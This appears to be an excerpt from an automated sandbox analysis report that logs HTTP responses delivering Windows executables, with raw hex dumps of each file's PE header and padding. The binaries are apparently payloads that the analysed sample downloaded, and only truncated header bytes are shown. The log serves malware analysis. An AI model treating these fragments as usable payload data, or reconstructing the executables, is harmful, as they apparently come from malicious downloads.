Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:27 GMTContent-Type: application/octet-streamContent-Length: 360448Last-Modified: Mon, 23 Sep 2024 14:42:37 GMTConnection: keep-aliveETag: "66f17e5d-58000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 3c 94 ed 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 aa 04 00 00 d2 00 00 00 00 00 00 c0 d3 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 06 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8a e5 04 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 d0 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac e6 04 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dd a8 04 00 00 10 00 00 00 aa 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b1 29 00 00 00 c0 04 00 00 2a 00 00 00 ae 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 f0 00 00 00 f0 04 00 00 5e 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 d0 48 00 00 00 f0 05 00 00 4a 00 00 00 36 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:29 GMTContent-Type: application/octet-streamContent-Length: 311296Last-Modified: Sun, 22 Sep 2024 20:59:29 GMTConnection: keep-aliveETag: "66f08531-4c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 80 b6 e6 ea 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ec 02 00 00 d0 01 00 00 00 00 00 d6 b9 02 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 b9 02 00 4f 00 00 00 00 20 03 00 c4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 68 b9 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 bc e9 02 00 00 20 00 00 00 ec 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c4 c9 01 00 00 20 03 00 00 cc 01 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 05 00 00 04 00 00 00 bc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:32 GMTContent-Type: application/octet-streamContent-Length: 986112Last-Modified: Tue, 24 Sep 2024 18:05:31 GMTConnection: keep-aliveETag: "66f2ff6b-f0c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 27 31 f2 66 00 00 00 00 00 00 